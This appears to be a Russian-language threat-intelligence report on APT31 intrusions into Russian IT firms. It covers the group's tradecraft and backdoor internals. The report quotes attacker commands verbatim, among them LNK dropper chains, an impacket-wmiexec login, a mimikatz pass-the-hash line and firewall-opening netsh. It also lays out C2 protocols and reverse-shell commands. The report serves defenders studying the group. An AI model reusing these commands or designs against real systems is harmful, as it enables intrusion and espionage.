PT Expert Security Center

Атаки разящей панды: APT31 сегодня

Атаки разящей панды: APT31 сегодня

Авторы:

Даниил Григорян

Даниил Григорян

Старший специалист департамента комплексного реагирования на киберугрозы

Варвара Колоскова

Варвара Колоскова

Специалист группы исследования сложных угроз

Ключевые моменты

  • APT31 в период с 2024 по 2025 год атаковала российский IT-сектор.
  • APT31 в качестве С2 использует облачные сервисы, в частности и российские облачные сервисы.
  • Злоумышленники имеют подготовленный сценарий для продвижения в системе жертвы.
  • В ходе атак были задействованы новые образцы ВПО, такие как AufTime, COFFProxy, VtChatter, YaLeak, CloudyLoader и OneDriveDoor.

Характеристика группировки

APT31 — кибершпионская группа, нацеленная в основном на промышленный шпионаж и кражу интеллектуальной собственности. Группа маскирует свои инструменты под легитимное программное обеспечение. Для создания двухстороннего канала связи с ВПО использует легитимные сервисы.

В период с 2024 по 2025 год российский IT-сектор, в особенности компании, работающие как подрядчики и интеграторы решений для государственных органов, столкнулся с серией целевых компьютерных атак. Уникальность этой кампании заключалась в продуманной тактике злоумышленников, которая позволяла им долгое время оставаться необнаруженными. В процессе расследования инцидентов за этот промежуток времени нам удалось связать некоторые атаки с кибершпионской группой APT31, восстановить тактики и техники, используемые злоумышленниками, а также получить уникальные инструменты.

В процессе атаки злоумышленники использовали как сторонние (для перемещения по сети и разведки), так и собственные инструменты, среди которых LocalPlugx, CloudSorcerer, COFFProxy, VtChatter, CloudyLoader, OneDriveDoor и GrewApacha.

Для скрытного управления вредоносным ПО атакующие использовали легитимные веб-сервисы. Они размещали зашифрованные команды и полезные нагрузки в профилях популярных соцсетей, как отечественных, так и зарубежных, а также на других платформах. Это позволяло эффективно обходить традиционные системы безопасности, так как трафик к таким платформам не вызывал подозрений.

Кроме того, злоумышленники продемонстрировали осведомленность о рабочих процессах в целевых организациях. Они тщательно выбирали время для атак, действуя в выходные и праздничные дни. Ярким примером стала масштабная атака, запущенная во время новогодних каникул. Пользуясь тем, что корпоративная инфраструктура продолжала работать, они успели не только проникнуть в системы, но и закрепиться в них, развернуть свои инструменты и провести разведку в корпоративной сети.

Можно предположить, что злоумышленники действовали по заранее составленному сценарию, по которому просто копировали и выполняли команды. В ходе исследования на многих машинах был установлен LocalPlugx с включенным модулем кейлоггера. Анализ данных, собранных кейлоггером, показал, что все выполняемые команды вводились не вручную, а копировались из буфера обмена. Благодаря работе кейлоггера и удалось восстановить команды, которые злоумышленники выполняли в процессе своей активности в скомпрометированной инфраструктуре.

Initial Access

При расследовании инцидента в одной российской IT-компании в июле 2025 года команда PT ESC IR установила, что злоумышленники получили доступ к инфраструктуре еще в конце 2022 года. Последующее развитие атаки началось в новогодние праздники 2023 года.

Другой вариант атаки команда PT ESC TI зафиксировала в декабре 2024 года. В ходе атаки APT31 использовала фишинг с сопроводительным письмом якобы от менеджера по закупкам. К письму прикреплялся вредоносный архив «Требования.rar» с LNK, запускающим документ-приманку и CloudyLoader — загрузчик CobaltStrike. Более подробно атака описана в этой статье.

LNK запускал команды на распаковку и показ файлов-приманок (в данном случае это файлы Company Profile.pdf и List of requirements.pdf), после чего, используя DLL sideloading, запускал вредоносную библиотеку BugSplatRc64.dll с CloudyLoader.

"C:\Windows\System32\cmd.exe" /c echo F | 
xcopy /h /y %cd%\Требования\Требования C:\Users\Public\Downloads\ 
& start %cd%\Требования\
& ren C:\Users\Public\Downloads\Company.pdf nau.exe 
& ren C:\Users\Public\Downloads\Requirements.pdf BugSplatRc64.dll 
& C:\Users\Public\Downloads\nau.exe


Эту технику APT31 использовала не только в атаках на Россию: в ходе исследования мы обнаружили архив Seguro_de_lMRE.zip, загруженный предположительно из Перу.

Внутри находились вложения со следующей структурой:

  • Seguro_de_lMRE.pdf.lnk
  • MACOSX
    • Seguro_de_lMRE.pdf
    • ~\~\~\~\~
      • BsSndRpt64.exe
      • BugSplatRc64.dll

LNK Seguro_de_lMRE.pdf.lnk распаковывал все файлы во временную папку, после чего показывал документ-приманку Seguro_de_lMRE.pdf.

/c forfiles /p c:\users /s /m Seguro_de_lMRE.zip /c "cmd /c tar -xf @path -C %TMP%"
&&cmd /c %TMP%\__MACOSX\Seguro_de_lMRE.pdf&&cmd /c %TMP%\__MACOSX\~\~\~\~\~\BsSndRpt64.exe
&&cmd /c attrib +h +r +s +a %TMP%\__MACOSX

Команда LNK Seguro_de_lMRE.pdf.lnk

Сам документ замаскирован под финансовый отчет министерства иностранных дел Перу.

Документ-приманка
Документ-приманка

После этого LNK запускал легитимное приложение BsSndRpt64.exe, уязвимое к DLL sideloading. Приложение подгружает уже известную нам библиотеку BugSplatRc64.dll, внутри которой находится загрузчик CloudyLoader.

Discovery

Для сбора информации о хосте в скомпрометированной инфраструктуре APT31 использовала инструмент SharpADUserIP, разработанный на C# с возможностью выгружать данные о пользователях и IP-адресах из события 4624 файла лога Security.evtx.

Описание инструмента SharpADUserIP
Описание инструмента SharpADUserIP

Для поиска информации об RDP-подключениях использовался следующий PowerShell-скрипт. С помощью командлета Get-WinEvent осуществляется поиск событий с идентификатором 21 (RDP-вход в систему), из которых собираются данные об именах пользователей и IP-адресе инициатора RDP-подключения.

powershell -Command Get-WinEvent -LogName 'Microsoft-Windows-TerminalServices-LocalSessionManager/Operational' | Where-Object {$_.Id -eq 21} | ForEach-Object { $eventXml = [xml]$_.ToXml(); $username = $eventXml.Event.UserData.EventXML.User; $ipAddress = $eventXml.Event.UserData.EventXML.Address; $loginTime = $_.TimeCreated; if ($username -and $ipAddress -and $loginTime) { Write-Output ('User: ' + $username + ' IP: ' + $ipAddress + ' Login Time: ' + $loginTime) }}


Кроме того, зафиксировано использование следующих вспомогательных инструментов:

  • SharpChrome.exe — инструмент для извлечения данных (пароли, cookie) из браузера Chrome и новых версий Edge.
  • SharpDir.exe — инструмент для поиска файлов.
  • StickyNotesExtract.exe — инструмент для извлечения данных из базы данных Windows Sticky Notes.

Для сетевого сканирования использовался Advanced IP Scanner, который позволяет быстро идентифицировать все устройства в инфраструктуре.

Persistence

Для закрепления в инфраструктуре злоумышленники использовали планировщик задач Windows с применением техники T1053.005. Использовались имена задач, похожие на задачи от легитимных приложений, к примеру YandexDisk, GoogleUpdater, NVIDIA.

Appvservers
WPDsync
NVIDIADEBUG
WInSeting
Microsoft\Windows\pwrshplugin\exeStart
7zup_Server
Microsoft\Windows\Tcpip\IpConf
Microsoft\Windows\ApplicationData\appuriverifierinstalls
Crashpad_Server
Yandexstart_Server
WinDeviceSync
DataMAVServer
YandexDisk_Servers
LAPSClientUp
GoogleUpdater
GoogleRecovery
PretonDebug
WinDeviceSync1


На некоторых хостах были созданы скрытые задачи. Описание этой техники приведено в блоге Solar 4RAYS. Атакующий создает вредоносную задачу и запускает ее. Далее удаляет свойство SecurityDescriptor (SD) из реестра HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ и файл задания (.xml) из каталога C:\Windows\System32\Tasks.

Вот пример выполнения команд злоумышленниками из APT31 в скомпрометированной инфраструктуре.

Команды для создания скрытой задачи
Команды для создания скрытой задачи

Интересно, что этот вид закрепления характерен для азиатских групп. Кстати, в PT Dumper есть модуль для поиска этой техники закрепления. PT Dumper — утилита на языке Golang, предназначенная для сбора информации (телеметрии) и анализа данных (поиска аномалий) на узлах под управлением Windows, Unix и macOS.

PT Dumper представляет собой скомпилированный бинарный файл с доверенной цифровой подписью, что позволяет стабильно работать и не конфликтовать с другими СЗИ, установленными на исследуемых узлах.

Утилита эффективно показывает себя на проектах по расследованию сложных таргетированных атак и атак с применением вирусов-шифровальщиков, а также позволяет находить новое ВПО.

Запросить PT Dumper можно, написав на почту ir.esc@ptsecurity.com (запросы принимаются с корпоративной почты).

Анализируются три случая: удаление из файловой системы, удаление SD, изменение index.

Вывод PT-Dumper по поиску скрытых задач
Вывод PT-Dumper по поиску скрытых задач

Еще один интересный метод выполнения полезной нагрузки, который использовали злоумышленники в инфраструктуре, основан на запуске исполняемого файла C:\WINDOWS\system32\oobe\Setup.exe. Это системный исполняемый файл, отвечающий за процесс первоначальной настройки Windows (OOBE, Out Of Box Experience). Он запускается при первом включении нового компьютера или после чистой установки системы, проводя пользователя через этапы создания учетной записи, принятия лицензии и выбора базовых параметров. Если при запуске этого файла произойдет ошибка, то будет запущен CMD-скрипт C:\WINDOWS\Setup\Scripts\ErrorHandler.cmd.

Для запуска ошибки злоумышленники создавали задачу в планировщике Windows с целью запуска файла Setup.exe с аргументом /ui.

<Actions Context="Author">
    <Exec>
      <Command>C:\Windows\System32\oobe\Setup.exe</Command>
      <Arguments>/ui</Arguments>
    </Exec>
  </Actions>


Запуск этого файла вызывал ошибку, которая должна обрабатываться в CMD-скрипте ErrorHandler.cmd, но в этот файл помещается полезная нагрузка. В примере показано содержимое файла ErrorHandler.cmd.

Пример содержимого файла ErrorHandler.cmd
Пример содержимого файла ErrorHandler.cmd

Defense Evasion

Для создания зашифрованного туннеля и организации одноранговой (P2P) сети между скомпрометированным хостом и своей инфраструктурой атакующие использовали легитимный инструмент Tailscale VPN. Это позволило им скрытно передавать данные, обходя периметровые средства защиты.

Для туннелирования трафика APT31 также использовала легитимный инструмент Microsoft dev tunnels — исполняемый файл devtunnel.exe, подписанный Microsoft. Данный инструмент использовали в связке с ВПО LocalPlugx, который слушал команды на определенном порту.

Использование этого вида туннелирования дает атакующему следующие преимущества:

  • Не требует открытия входящих портов на корпоративном брандмауэре. Исходящие HTTPS-соединения к *.devtunnels.ms обычно разрешены.
  • Трафик маскируется под легитимное общение с доверенными доменами Microsoft (*.devtunnels.ms, *.microsoft.com).
  • Инструмент требует минимальной настройки и легко развертывается.
  • Позволяет получить удаленный доступ к внутренним службам (RDP, SSH, веб-серверам), сделав их доступными извне.

Dev tunnels предлагает несколько режимов работы, которые определяют, кто может получить доступ к вашему туннелю:

  • Public (общедоступный) — доступ получает любой пользователь, у которого есть ссылка на туннель random-string.devtunnels.ms.
  • Private (приватный) — только пользователи, явно приглашенные через их учетные записи Microsoft (Entra ID), которые должны быть указаны в списке доступа.

В скомпрометированной инфраструктуре зафиксирован запуск devtunnel.exe в режиме Public с использованием планировщика задач Windows.

<Actions Context="Author">
    <Exec>
      <Command>C:\WINDOWS\system32\Devtunnel.exe</Command>
      <Arguments>host [REDACTED] -a</Arguments>
    </Exec>
  </Actions>


Для сокрытия работы на хосте злоумышленники очищали файлы журналов с помощью wevutil.

Команды по удалению содержимого файлов логов Windows
Команды по удалению содержимого файлов логов Windows

Удаляли файлы из рабочего каталога следующей командой.
 

Lateral Movement

На некоторых скомпрометированных хостах злоумышленники создавали учетную запись локального администратора. Они также использовали эту учетную запись для перемещения между ними.

Создание пользователя
Создание пользователя

Для перемещения внутри периметра группа использовала инструменты общедоступной утилиты Impacket: WmiExec, SmbExec, а также утилиту удаленного рабочего стола RDP.

Пример перемещения на скомпрометированный хост с созданной учетной записи локального администратора Administrator$.

impacket-wmiexec Administrator$:'e=lim(1+1/n)'@192.168.22.3


Следующая команда использует утилиту Mimikatz для выполнения атаки Pass-The-Hash (PTH) в сочетании с Restricted Admin Mode для RDP.
 

sekurlsa::pth /user:radmin /domain:[REDACTED] /ntlm:[REDACTED] "/run:mstsc.exe /restrictedadmin"

Credential Access

Для получения учетных данных пользователей скомпрометированного хоста злоумышленники выгружали ветки реестра.
 

Для получения данных из реестра использовали общедоступную утилиту secretdump.py из набора Impacket.
 

В ходе расследования инцидента, связанного с этой группой, был обнаружен вредоносный модуль для IIS, предназначенный для кражи учетных данных пользователей Outlook on the web. Модуль OWOWA, установленный на веб-сервер, осуществляет мониторинг HTTP-запросов и ответов на странице авторизации Outlook. При вводе пользователем учетных данных модуль перехватывает и сохраняет логин и пароль в файл.

В нашем случае злоумышленники загрузили OWOWA, уже находясь внутри скомпрометированной инфраструктуры.

В коде присутствует два обработчика событий в ASP.NET/IIS-конвейере. Обработчик context_BeginRequest события BeginRequest перехватывает каждый входящий HTTP-запрос в самом начале. Если в URL-запросе встречается owainfo_log, то обработчик перехватывает запрос и возвращает расшифрованный файл с собранной парольной информацией. Если запрос содержит /owainfo_log/del — удаляет файл с логами. Тем самым злоумышленники оставили себе возможность контролировать собранные данные о логинах и паролях.

Код обработчика context_BeginRequest
Код обработчика context_BeginRequest

Второй обработчик обрабатывает события PreSendRequestContent, перехватывая HTTP-ответ перед его отправкой клиенту. На этом этапе ВПО анализирует форму входа, при наличии полей username и password записывает их содержимое в файл.

Код обработчика context_PreSendRequestContent
Код обработчика context_PreSendRequestContent

Мы фиксировали разные версии этой программы в других инцидентах. Во многих случаях для шифрования файла лога использовался алгоритм RSA, в нашем случае использовался алгоритм шифрования AES (AES-ключ: Io8Mqhw6P6WPPDgCcTHlQ3g6qjWiTwGj, IV: Xy1kAas6muDVK2wK).

Execution

В ходе атаки злоумышленники использовали как и известное ранее ВПО, например LocalPlugx, CloudSorcerer, GrewApacha, так и уникальные образцы:

  • AufTime — бэкдор на Linux, использующий библиотеку Wolfssl для общения с С2;
  • COFFProxy — бэкдор, загружающий Beacon-маяки формата Coffloader. Кроме того, была обнаружена реализация этого инструмента на языке Golang, с заменой загрузки маяков на выполнение аналогов команд cmd;
  • VtChatter — ВПО, которое использует комментарии к файлу на VirusTotal как двусторонний C2-канал;
  • CloudyLoader — загрузчик импланта CobaltStrike, который использует прямые системные вызовы (direct syscalls) и загружает полезную нагрузку с репозитория GitHub злоумышленника;
  • OneDriveDoor — бэкдор, использующий в качестве С2 облачное хранилище OneDrive;

Для загрузки ВПО на скомпрометированные хосты атакующие из APT31 использовали общий сетевой диск в инфраструктуре, с которого копировали инструменты следующей командой:
 

copy \\[REDACTED]\Distr$\test\*.* C:\ProgramData\Microsoft\[REDACTED]\ /y

LocalPlugx

Одним из самых часто встречаемых вредоносов на скомпрометированных хостах был бэкдор LocalPlugx, содержащий легитимный исполняемый файл, динамическую библиотеку (загрузчик) и зашифрованный файл шеллкода manifest.txt. Для запуска использовалась классическая схема с DLL sideloading.

Файл с динамически подключаемой библиотекой, в которой реализован основной функционал для расшифровки шеллкода, накрыт VMProtect с индивидуальными названиями секций. В некоторых случаях их названия совпадали с именем скомпрометированной организации.

Пример названия секции VMProtect
Пример названия секции VMProtect

LocalPlugx, в отличие от стандартных вариаций, работает в режиме сервера, преимущественно слушая порты 53 и 5355, хотя возможна и другая конфигурация. Любопытно, что в системе, зараженной этим бэкдором, злоумышленники выполняли команду netsh для слушающего порта PlugX. Тем самым они добавляли в правила файрвола разрешение входящего TCP-соединения на порт 5335.

netsh advfirewall firewall add rule name="MicroDeviceSync" protocol=TCP dir=in localport=5355 action=allow

Команда на открытие локального порта

Кроме того, функционал LocalPlugx разделен на две части:

  • одна отвечает за отправку и прием сообщений от С2;
  • вторая отвечает за выполнение команд.

Функционирование LocalPlugx построено на инъекции кода в различные процессы Windows. В начале работы бэкдор проверяет, в контексте какого приложения он работает. В соответствии с этим он начинает работать либо в первом режиме, либо во втором. Если бэкдор не встроен ни в один процесс, то он встраивает себя в определенные процессы Windows. Две части бэкдора общаются посредством пайпа \\.\PIPE\X<PID>.

В ходе расследований инцидентов мы заметили, что к стандартным для LocalPlugx процеcсам для внедрения winlogon.exe и msiexec.exe добавились wksprt.exe и explorer.exe.

LocalPlugx имеет возможность управлять текущим соединением, туннелировать трафик, а также выполнять команды-плагины. Среди стандартных плагинов наиболее интересным оказался плагин с кейлоггером.

Все описанные выше техники подтверждены командами, вводимыми злоумышленниками, которые удалось получить благодаря работе на скомпрометированных хостах LocalPlugx с включенным модулем кейлоггера.

В процессе своей работы кейлоггер создает два файла:

  • ntuser.dat.LOG1 — сохраняет нажатия клавиш;
  • ntuser.dat.LOG2 — сохраняет содержимое буфера обмена.

Для кражи данных, вводимых с клавиатуры, и данных из буфера обмена создается устройство обработки сырого ввода (RawInputDevice). В модуле кейлоггера циклически перенаправлялись все сообщения, а устройство успешно их перехватывало и записывало в соответствующие файлы.

Модуль кейлоггера — создание RawInputDevice
Модуль кейлоггера — создание RawInputDevice

Данные в файлах сохранялись в определенном формате, для данных кейлоггера сохраняется название приложения и окна, куда эти данные вводились.

Модуль кейлоггера — формат сообщений
Модуль кейлоггера — формат сообщений

Сами сообщения зашифровываются операцией с однобайтовым XOR с затиранием старшего бита у байтового представления символа.

Модуль кейлоггера — шифрование XOR
Модуль кейлоггера — шифрование XOR

Мы благополучно расшифровали файлы с логами. На некоторых хостах в файлах ntuser.dat.LOG2 мы обнаружили команды злоумышленников. Это указывает на то, что все выполняемые команды не вводились вручную, а копировались из буфера обмена. Этот факт позволяет сделать вывод, что злоумышленники действовали по заранее составленному сценарию, по которому просто копировали и выполняли команды.

CloudSorcerer

APT31 по-прежнему активно используют CloudSorcerer — двухмодульный бэкдор, который по устройству аналогичен LocalPlugx. В систему попадает вместе с DLL (запускается методом DLL sideloading и накрыта VMProtect), которая расшифровывает шеллкод 4-байтовым XOR'ом. Тот, в свою очередь, распаковывает сжатый LZNT1 бэкдор и запускает его.

CloudSorcerer содержит модуль сервера и бэкдора, которые общаются посредством пайпа .\\PIPE\\[%d]. Модули работают в пространстве системных процессов Windows, чаще всего использовались следующие процессы:

  • choice.exe
  • charmap.exe
  • mspaint.exe

Модуль сервера не содержит конкретного C2: из открытых источников (например, mail[.]ru) забирается зашифрованное сообщение, расшифровывается Base64 и шифром простой замены.

Расшифрованные данные являются токеном одного из облачных серверов, используемых в качестве С2:

cloud-api.yandex.net
graph.microsoft.com
content.dropboxapi.com


Модуль бэкдора не претерпел сильных изменений, список команд остался прежним.

AufTime

В рамках атаки злоумышленники доставляли файл с именем time на узлы с Linux. Внутри мы обнаружили бэкдор, который использует библиотеку WolfSSL для коммуникации с C2-сервером. Из-за этой особенности бэкдор получил название AufTime.

AufTime имеет следующий функционал: работа с файлами, поддержка нескольких активных соединений, туннелирование трафика.

В начале выполнения AufTime открывает два раздела shared memory: /shd_mem_SE0v0 и /shd_mem_SE0v0_2.

AufTime — создание разделов shared memory
AufTime — создание разделов shared memory

По состоянию первого раздела ВПО определяет единственность запуска, смотрит, какие процессы подключены к разделяемой памяти: если их больше одного, то завершает выполнение. Если нет, то программу включают в режиме системного демона без перенаправления стандартных потоков.

Следующим этапом AufTime ставит обработку на ряд сигналов, чтобы исключить их выполнение или продолжить работу при ошибке:

  • SIGCHLD — устанавливает handler для удобства ожидания.
  • SIGPIPE — игнорирование сигнала.
  • SIGSTOP — игнорирование сигнала, чтобы не было возможности принудительно остановить процесс.
  • SIGTERM — устанавливает обработчик sig_clean_mem, который отключает все shared folders.
  • SIGINT — устанавливает обработчик sig_clean_mem.
  • SIGSEGV — устанавливает обработчик sig_clean_mem.
  • SIGABRT — устанавливает обработчик sig_clean_mem.

Далее бэкдор изменяет собственный argv, добавляя символ 0 и характерную командную строку для подражания системным процессам Linux, к примеру [kworker/5:5-events].

AufTime — подмена имени
AufTime — подмена имени

Далее создается новый дочерний процесс. В нем в первую очередь сохраняют значение текущего PID во второй раздел /shd_mem_SE0v0_2. Родительский завершает работу, как только этот процесс перестанет быть доступным.

AufTime — основной цикл
AufTime — основной цикл

Вся основная логика работы AufTime реализована в функции do_connection. В этой функции создается TLS-соединение с сервером управления, этому соединению присваивается ID_connection со значением 1 (начальное).

AufTime — функция do_connection
AufTime — функция do_connection

В результате этого создается структура текущего соединения conn_tls.

struct conn_tls { 
_QWORD wolfssl_conn; 
_DWORD socket; 
_DWORD ID_connection; 
int current_command; 
__attribute__((aligned(8))) _BYTE flag_1_readfromit; // if true - ready to read from server 
_BYTE flag_2_commandexec; // if true - ready to read command 
_BYTE flag_3_writeinit; // if true - ready to write _QWORD time; 
};


Только что созданная структура добавляется в poll-массив всех соединений, серверу отправляется команда 0×10000001 с текущим значением /etc/machine_id — отправка информации о зараженной машине. После этого обрабатывается массив всех соединений.

AufTime — асинхронная обработка текущих соединений
AufTime — асинхронная обработка текущих соединений

В функции poll_run, в зависимости от установленных флагов, управляют текущими соединениями:

  • Находят соединение с флагом 1;
  • Все соединения с жизнью больше 2 минут пытаются обновить и пересоединить;
  • Все соединения, которые жили больше 3 минут, закрывают;
  • Далее все сокеты активных соединений добавляются в массив структур NDFS для обработки дескрипторов текущих соединений с помощью poll;
  • Если дескриптор готов к чтению, то создают отдельный thread для обработки с помощью функции handler_read:
    • Если flag_2_commandexec в true, то читают команду от сервера и выполняют ее;
    • Если нет, значит, соединение работает в режиме прокси и происходит пересылка сообщения.
AufTime — переход к выполнению handle_command
AufTime — переход к выполнению handle_command

Интересующие нас команды обрабатывают в функции handle_command, предварительно получив данные от сервера.

Всего AufTime поддерживает около 20 различных команд, их список приведен ниже. Кроме того, в образце есть множество функций, «висящих в воздухе» и не выполняющихся. Например, есть реализация общения с С2 без использования TLS. Вполне вероятно, что инструмент находится в разработке и его функционал будет увеличиваться.

NumberIDDescription
10×10000001Отправка информации о сервере
20×10000003Heartbit
30×10000004Завершение работы
40×10000010Отправка информации о сервере в формате JSON (безопасная версия)
50×10000021Создание reverse-shell и перенаправление управления в /bin/sh, переход в состояние 0×10000024
60×10000024Запись данных интерпретатору
70×10000030Получить имя папки и отправить ls серверу
80×10000031Получить имя файла и удалить его
90×10000033Получить имя папки и создать ее, вернуть дескриптор
100×10000040Получить команду и выполнить ее при помощи sh -с \<command\>, отправить результаты
110×10000041Прочесть с сервера данные
120×10000045Создать новое SSL-соединение, отправив в ответ только команду 0×10000046
130×10000047Получить имя файла и отправить его размер на сервер
140×10000048Ответ — отправка файла серверу
150×10000049Получить имя файла, затем узнать размер данных и приписать их в конце, на сервер отправить новый размер
160×1000004AОтправить серверу команду 0×1000004B, поставить значение чтения в True
170×10000051Создать SOCKS5-прокси. Возможно подключение по hostname, ipv4, ipv6. Прокси помечается командой 0×10000053, на сервер отправляется команда об успехе 0×10000052. Такое соединение отмечается своим флагом (передается сервером), чтобы отличать от всех остальных
180×10000053Написать полученные от сервера данные в прокси
190×10000091То же, что и 0×10000045
200×10000093Получить имя файла, отправить на сервер его содержание по указанному смещению c командой 0×10000094
210×10000094Ответ серверу с содержанием файла

Отдельно хочется описать команду 0×10000001. В ходе ее выполнения собирается информация о жертве и отправляется в формате JSON со следующей структурой:
 

{ 
    "hostname" : <gethostname>, 
    "sys_name" : <uname>,
    "node_name" : <uname.nodename>, 
    "release": <uname.release>, 
    "username" : <name>, 
    "lan": <lan_addr>, 
    "gid" : <getegid()> 
}

COFFProxy

Небольшой бэкдор, использующий в своих нагрузках BOF-формат загрузчика Coffloader. COFFProxy поддерживает команды для туннелирования трафика, работы с файлами и загрузки дополнительных нагрузок (Beacon), созданных при помощи Coffloader, а также имеет возможность повышения привилегий с помощью имперсонации.

Поддерживает три различных С2 (работают методом исключения: если по одному не подключаются, значит, пробуют следующий и т. д.). Поддерживает bind-режим.

Native version

Зашифрованный шеллкод расшифровывается dll SSPICLI.dll. Шеллкод инжектит бэкдор в процесс C:\Windows\System32\audiodg.exe.

Конфиг хранится в незашифрованном виде в секции data и занимает 0×400 байт, в сыром виде выглядит так:

struct raw_conf
{
  __int16 work_hours[14];
  int sleep_delta;
  int period;
  char ID_client[12];
  int bind_port;
  int port1;
  int port2;
  int port3;
  __int16 c2_1_len;
  __int16 c2_2_len;
  __int16 c2_3_len;
  char c2_1[c2_1_len];
  char c2_2[c2_2_len];
  char c2_3[c2_3_len];
};


В процессе работы бэкдор использует более расширенный конфиг, который также содержит версию ВПО. Во всех найденных образцах была версия v12.1.

В начале своей работы проверяет текущее время и день недели: если они не соответствуют часам работы из work_hours для соответствующего дня недели, то бэкдор завершит работу. Любопытно, что образцы не работали только по воскресеньям.

COFFProxy — проверка времени работы
COFFProxy — проверка времени работы

В случае успеха идут попытки подключения по указанным в конфиге доменам или переход в режим прослушивания входящих соединений на определенном порту.

COFFProxy — подключение к серверу
COFFProxy — подключение к серверу

Отправляемые серверу сообщения зашифрованы при помощи AES (ключ указан в конфиге и был одинаковым для всех семплов).

Структура расшифрованных сообщений следующая:

struct msg_header
{
  char Id_string[12]; // current connection ID
  int command;
  _DWORD field_10; // dop command in golang
  int error_num;
  int vec1_counter;
  int vec2_counter;
};
struct msg_params{
  vector_str vec_1; // additinal connections id
  vector_str vec_2; // command parameters
}
struct msg{
    msg_header header;
    msg_params params;
}


В сыром сообщении все поля из структуры msg_header передаются напрямую.

Параметры первого и второго типа в сыром сообщении передаются разделенными знаком табуляции \t. Их количество определяют параметры vec1_counter и vec2_counter соответственно. В параметрах первого типа передаются ID соединений, к которым нужно обратиться. Параметры второго типа содержат данные для команд.

Основные команды COFFProxy:

  • 0×70000003 — (recv) команда на отправку heartbeat.
  • 0×70000000 — (send) команда, отправленная в подтверждение (например, после heartbeat). В качестве параметров к запросу отправляет порт (или *, если bind ) и версию COFFProxy.
  • 0xA7 — создание нового проксирующего подключения, ему присваивается новый ID и осуществляется переход в режим команды 0xA8.
  • 0xA8 — отправка только что созданного ID прокси.
  • 0xA9 — выполнить присланный beacon с точки входа go.
  • 0xAA — завершение работы.
  • 0xAC — повышение привилегий по SessionID при помощи ImpersonateLoggedOnUser.

Эти операции выполняются в отдельном thread:

  • 0xB1 — по имени файла передать серверу его размер, затем записать в его конец данные с сервера.
  • 0xB2 — передать содержимое файла (а также его размер) серверу по указанному имени и смещению.
  • 0xB4 — по заданному домену-порту создает туннель — создаются два отдельных thread на перенаправлении потока входящего и исходящего соединения в обе стороны.

Кроме того, наличие vec_1 указывает на то, что в качестве соединения теперь будет использован прокси, ID которого передается в vec_1. Тут поддерживаются только команды >= 0xB0. Если команда будет меньше, то этот прокси отключат.

Golang version

Тот же самый бэкдор, но написанный на языке golang и скомпилированный под Linux. Дополнительно накрыт garble. Попадал в систему под именем time. Основное отличие — это замена команды для выполнения BOF. Вместо нее теперь реализован аналог интерпретатора, выполняющий действия в зависимости от дополнительных команд.

Конфигурация файла лишена теперь параметра work_hours, и бэкдор теперь может работать в любое время суток. Остались только ID семпла и конфигурация для общения с сервером.

COFFProxy — Golang, конфигурация
COFFProxy — Golang, конфигурация

В Golang-версии не такая четкая структура конфига, каждый параметр тут разделен одиночным символом \t. Интересно также, что версия этого бэкдора теперь L12.1a.

{ 
    char magic[]; 
    _BYTE separator1; // \t
    char bind_port[];
    _BYTE separator2; // \t
    char c2_addr_1[];
    _BYTE separator3; // \t
    char c2_port_1[];
    _BYTE separator4; // \t
    char c2_addr_2[];
    _BYTE separator5; // \t
    char c2_port_2[];
    _BYTE separator6; // \t
    char c2_addr_3[];
    _BYTE separator7; // \t
    char c2_port_3[];
    _BYTE separator8; // \t
} 


Структура сообщений осталась прежней (но адаптирована под Golang), и теперь стали понятны пробелы в сообщениях:

struct msg_header{
    _BYTE magic[12];
    int command;
    int dop_command;
    int ret_error;
    int param1_size;
    int param2_size;
}

struct msg_params{
    slice param1; // slice with string array
    slice param2; // slice with string array
}

struct msg{
    msg_header header;
    msg_params params;
}


Список команд немного изменился (команды 0xB1, 0xB2, 0xB4 остались прежними).

  • 0xA9 — если в COFFProxy native было выполнение биконов, то теперь выполняется команда в зависимости от параметра dop_command;
COFFProxy — Golang, switchcase для выполнения дополнительных команд от сервера
COFFProxy — Golang, switchcase для выполнения дополнительных команд от сервера
  • 0×03 — напечатать информацию о файле или директории;
  • 0×05 — выполнить bash-команду с параметрами (передается одной строкой, выделяют подстроки при помощи regex r(’[^’]*’|"[^"]*"|[^’"\s])+). Результат выполнения отправить серверу;
  • 0×07 — MkdirAll;
  • 0×08 — переименовать файлы (передается старое и новое название);
  • 0×09 — рекурсивное копирование из одной папки в другую (тоже два параметра);
  • 0×0A — удалить все файлы из указанной директории;
  • 0×0B — то же самое, что и команда номер 8;
  • 0×0C — выполнить bash-команду (так же, как 0×05), но stdout, stderr не передаются серверу;
  • 0xA7 — так же, как и раньше, новое прокси соединение;0xA8 — так же, как и раньше, отправка magic от нового прокси;
  • 0×70000003 — так же, как и раньше. Только теперь понятно, как назвал их злоумышленник: SendOnlineToCtrl и затем для всех прокси BroadcastChild, чтобы они тоже отправили отбивку серверу;
  • 0xAA — exit.

VtChatter

Файл ВПО представляет собой динамическую библиотеку NVIDIADEBUG.dll. Запуск VtChatter осуществлялся каждые два часа с помощью планировщика задач Windows.

<Actions Context="Author">
    <Exec>
      <Command>C:\Windows\system32\rundll32.exe</Command>
      <Arguments>C:\ProgramData\NVIDIA\NVIDIADEBUG.dll fun</Arguments>
    </Exec>
  </Actions>


Исполняемый файл содержит функцию экспорта с именем fun, в которой реализован основной набор функций. Для установления двустороннего C2-канала ВПО использует комментарии к файлу на VirusTotal.

Идентификатор файла (file_id), к которому добавляются комментарии, и токен от учетной записи (x-api-key) VirusTotal зашифрованы алгоритмом RC4 с ключом −032yhns1!-= в теле ВПО.

FileID: adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8
X-API-KEY: [REDACTED]

Интересный момент: VtChatter может выполнять только одну команду от управляющего сервера в процессе своей работы, поэтому злоумышленники запускали его раз в два часа.

Работу исследуемого ВПО можно разделить на следующие этапы:

1. Получение команды. С помощью API VirusTotal осуществляется запрос по URL https://virustotal.com/api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments. В результате возвращается JSON-ответ, содержащий поля id и text (комментарий к файлу).

GET /api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments HTTP/1.1
x-apikey: [REDACTED]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Host: www.virustotal.com
Connection: Keep-Alive
Cache-Control: no-cache


2. Расшифровка команды. Поле text JSON-ответа содержит комментарий к файлу, закодированный в Base64. ВПО декодирует данные из формата Base64 и расшифровывает с помощью RC4 с ключом usde-092d.

